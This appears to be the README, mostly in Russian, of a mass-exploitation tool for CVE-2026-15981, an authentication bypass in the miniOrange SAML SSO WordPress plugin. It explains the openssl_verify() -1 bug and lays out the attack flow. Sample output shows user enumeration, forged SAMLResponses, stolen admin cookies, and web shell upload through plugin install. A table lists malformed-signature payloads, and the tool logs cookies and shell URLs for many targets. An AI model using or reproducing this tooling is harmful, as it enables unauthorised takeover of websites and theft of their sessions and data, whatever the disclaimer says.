
SAML Single Sign On <= 5.4.4 - Неаутентифицированный обход аутентификации через параметр SAMLResponse
SAML Single Sign On <= 5.4.4 — Неаутентифицированный обход аутентификации через параметр SAMLResponse
Эксплойт Proof-of-Concept
Некорректная подпись → openssl_verify() возвращает -1 → нестрогое приведение PHP к true → wp_set_auth_cookie() как администратор
Плагин SAML Single Sign On – SSO Login для WordPress уязвим к обходу аутентификации во всех версиях до 5.4.4 включительно. Причина — функция mo_saml_validate_signature() выполняет нестрогую логическую проверку необработанного трёхзначного целого числа, возвращаемого PHP-функцией openssl_verify(), из-за чего ошибочное возвращаемое значение -1 оценивается как истинное и, следовательно, считается успешной проверкой подписи.
Это позволяет неаутентифицированным атакующим войти под учётной записью любого существующего пользователя WordPress, включая администраторов, путём отправки специально сформированного SAMLResponse, содержащего NameID под контролем атакующего и намеренно некорректное значение подписи, которое вызывает ошибку обработки OpenSSL, — полностью обходя проверку и приводя к вызову wp_set_auth_cookie() для целевой учётной записи.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
Исправление тривиально — if ($result === 1) вместо if ($result), — но последствия уязвимости — полный обход аутентификации.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login и извлекает базовые URL IdPlxml</Issuer> согласно спецификации SAMLopenssl_verify() = -1wordpress_logged_in_* после каждой попыткиPython >= 3.8
pip install requests lxml
lxmlобязателен для корректной канонизации Exclusive C14N утверждения SAML.
python CVE-2026-15981.py
Программа запросит следующие данные:
| Запрос | Описание | По умолчанию |
|---|---|---|
| Файл с целями | Путь к текстовому файлу с одной целью в строке | list.txt |
| Потоки | Количество параллельных потоков (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Один URL в строке. Если схема не указана, по умолчанию используется HTTP.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Каждая цель проходит 7 помеченных этапов:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| Файл | Содержимое |
|---|---|
sms.txt | Одна строка на каждую подтверждённую сессию администратора — метка времени, цель, пользователь, cookie, URL шелла, издатель, метод подписи |
sms_debug.json | Полный диагностический JSON по каждой цели — включая количество попыток и классификацию сбоев |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
Эксплойт содержит 12+ вариантов подписей, специально созданных для вызова openssl_verify() = -1:
Каждый вариант комбинируется с URI алгоритмов SHA-1 и SHA-256 и тестируется с ограничением Audience и без него, для нескольких SP Entity ID, — что максимизирует шанс попадания на путь возврата -1 в любой версии OpenSSL.
Данный инструмент предоставляется строго для авторизованного тестирования безопасности и образовательных исследовательских целей. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Несанкционированный доступ к компьютерным системам является уголовным преступлением. Автор не несёт ответственности за неправомерное использование, ущерб или любые юридические последствия, возникающие в результате использования этого программного обеспечения. Вы несёте полную ответственность за соблюдение всех применимых законов и нормативных актов вашей юрисдикции.
Автор: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Поле | Значение |
|---|
| CVE ID | CVE-2026-15981 |
| Затронутый плагин | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Затронутые версии | Все версии до 5.4.4 включительно |
| Тип | Неаутентифицированный обход аутентификации |
| CWE | CWE-287: Некорректная аутентификация / CWE-305: Обход аутентификации из-за первичной слабости |
| CVSS 3.1 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Не требуется |
/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD в теле ответа| Полезная нагрузка | Описание |
|---|
0xFF * 256 | 256 байт 0xFF — недопустимое заполнение PKCS#1 |
0xFF * 384 | 384 байта для ключей RSA-3072 |
0xFF * 512 | 512 байт для ключей RSA-4096 |
0xFF * 128 | Более короткий буфер для ключей меньшего размера |
0xFF * 64 | Минимальное недопустимое заполнение |
0x00 0x01 0xFF*254 | Похоже на PKCS#1 v1.5, но с неверной структурой |
0x00 0x01 0xFF*126 | Более короткая структура, подобная PKCS#1 |
null_2B | Два байта с нулевым значением |
rand_3B / rand_7B | Случайные байты — вызывают ошибки разбора |
asn1_bad | Некорректная последовательность ASN.1 DER |
ff_1B | Один байт 0xFF |